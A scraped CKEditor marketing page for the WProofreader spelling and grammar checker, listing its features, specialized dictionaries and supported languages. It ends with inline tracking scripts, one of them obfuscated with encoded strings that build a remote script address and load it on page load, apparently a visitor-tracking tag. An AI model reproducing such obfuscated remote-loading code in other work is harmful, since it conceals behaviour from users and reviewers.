2024 Rich Text Editing Developer Survey

Share your thoughts on the future of collaborative rich text editing. (Our survey takes about 10 mins)

Have your say

Spell and
grammar check

Multilingual text checker WProofreader with a native CKEditor integration.

WProofreader SDK

  • Integrations for CKEditor 5 and CKEditor 4 as a part of software development kit (SDK).
  • Multilingual proofreading in as-you-type and in-dialog modes.
  • Spelling autocorrect and text autocomplete suggestions.
  • Suggestions available on hover with no clicking needed.
  • Compliance with WCAG 2.1 and Section 508 accessibility standards.

BeBold

Note

Check the source code for this demo.

Custom dictionaries

Create user and company-level dictionaries with the correct spelling of your brand, products, employees’ names and corporate slang.

Grammar checker

Intelligent recognition of the sentence-level mistakes for many languages. Smart context-based correction suggestions available.

Specialized dictionaries

Specialized medical and legal spelling dictionaries are available in English and Spanish dialects and French.

Multilingual support

Proofread multilingual texts in many languages. Use language Auto Detect
for sentence-level spelling and grammar correction in mixed content.

  • American English
  • Australian English
  • Arabic
  • Brazilian Portuguese
  • British English
  • Canadian English
  • Canadian French
  • Danish
  • Dutch
  • Finnish
  • French
  • German
  • Greek
  • Hebrew
  • Italian
  • Indonesian
  • Norwegian Bokmål
  • Norwegian Nynorsk
  • Portuguese
  • Spanish
  • Swedish
  • Turkish
  • Ukrainian

Want to learn more about CKEditor?

We use cookies and other technologies to provide you with a better user experience.

Learn more about cookies policy

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });